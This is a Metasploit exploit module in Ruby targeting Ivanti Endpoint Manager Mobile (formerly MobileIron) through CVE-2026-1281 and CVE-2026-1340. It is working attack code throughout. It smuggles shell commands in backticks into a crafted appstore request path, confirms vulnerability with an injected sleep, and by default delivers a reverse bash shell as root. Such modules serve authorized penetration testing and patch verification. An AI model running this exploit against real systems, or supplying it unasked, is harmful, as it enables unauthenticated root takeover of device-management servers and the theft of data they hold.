##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/stopwatch'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Ivanti Endpoint Manager Mobile (EPMM) unauthenticated RCE',
        'Description' => %q{
          This module exploits a OS command injection issue in Ivanti Endpoint Manager Mobile (EPMM), formerly known
          as MobileIron. A remote attacker can achieve unauthenticated RCE with root privileges on an affected device.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'watchTowr', # Original analysis and PoC
          'sfewer-r7' # MSF module
        ],
        'References' => [
          ['CVE', '2026-1281'],
          ['CVE', '2026-1340'],
          # Vendor advisory
          ['URL', 'https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM-CVE-2026-1281-CVE-2026-1340?language=en_US'],
          # Vendor guidance
          ['URL', 'https://forums.ivanti.com/s/article/Analysis-Guidance-Ivanti-Endpoint-Manager-Mobile-EPMM-CVE-2026-1281-CVE-2026-1340?language=en_US'],
          # Technical analysis & PoC
          ['URL', 'https://labs.watchtowr.com/someone-knows-bash-far-too-well-and-we-love-it-ivanti-epmm-pre-auth-rces-cve-2026-1281-cve-2026-1340/']
        ],
        'DisclosureDate' => '2026-01-29',
        'Privileged' => true, # Executes as root.
        'Platform' => ['unix', 'linux'],
        'Arch' => ARCH_CMD,
        'Targets' => [
          [
            # Successfully tested with the following payloads against MobileIron 11.2:
            #   cmd/unix/reverse_bash
            #   cmd/unix/reverse_netcat
            # NOTE: The Linux fetch payloads did not work on MobileIron 11.2, YMMV on later product versions.
            'Default', {
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_bash',
                'FETCH_WRITABLE_DIR' => '/tmp'
              }
            }
          ],
        ],
        'Payload' => {
          'BadChars' => '`'
        },
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options([OptString.new('TARGETURI', [true, 'Base path', '/'])])
  end

  def check
    res_ver = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'mifs', 'user', 'login.jsp')
    )

    return CheckCode::Unknown('Connection to /mifs/user/login.jsp failed') unless res_ver

    return CheckCode::Unknown("Unexpected /mifs/user/login.jsp response code #{res_ver.code}") unless res_ver.code == 200

    ver_match = res_ver.body.match(/ui\.login\.css\?([\d.]+)"/)

    return CheckCode::Unknown('Failed to version match on ui.login.css') unless ver_match

    product_name = 'EPMM'

    # Ivanti acquired MobileIron and rebranded it to Endpoint Manager Mobile (EPMM) around version 11.4.
    if Rex::Version.new(ver_match[1]) < Rex::Version.new('11.4.0.0')
      product_name = 'MobileIron'
    end

    version_string = "Detected Ivanti #{product_name} version #{ver_match[1]}"

    sleep_time = rand(4..8)

    # We use proof-of-execution in the form of a delay to confirm if a target is vulnerable.
    res, elapsed_time = Rex::Stopwatch.elapsed_time do
      execute_cmd("sleep #{sleep_time}")
    end

    return CheckCode::Unknown("#{version_string}. Connection failed") unless res

    if elapsed_time < sleep_time
      return CheckCode::Safe(version_string)
    end

    CheckCode::Vulnerable(version_string)
  end

  def exploit
    execute_cmd(payload.encoded)
  end

  def execute_cmd(cmd)
    elements = {
      'kid' => rand(32),
      'st' => 'theValue'.ljust(10), # A length check in EPMM requires this value to be 10 characters long.
      'et' => (Time.now + (60 * 60 * rand(24))).to_i,
      'h' => "gPath[`#{cmd}`]"
    }

    hash = 'sha256:'

    hash += elements.map { |k, v| "#{k}=#{Rex::Text.uri_encode(v.to_s, 'hex-noslashes')}" }.join(',')

    vprint_status("hash: #{hash}")

    send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(
        target_uri.path,
        'mifs',
        'c',
        'appstore',
        'fob',
        '3',
        rand(1024).to_s,
        hash,
        "#{SecureRandom.uuid}.ipa"
      )
    )
  end
end
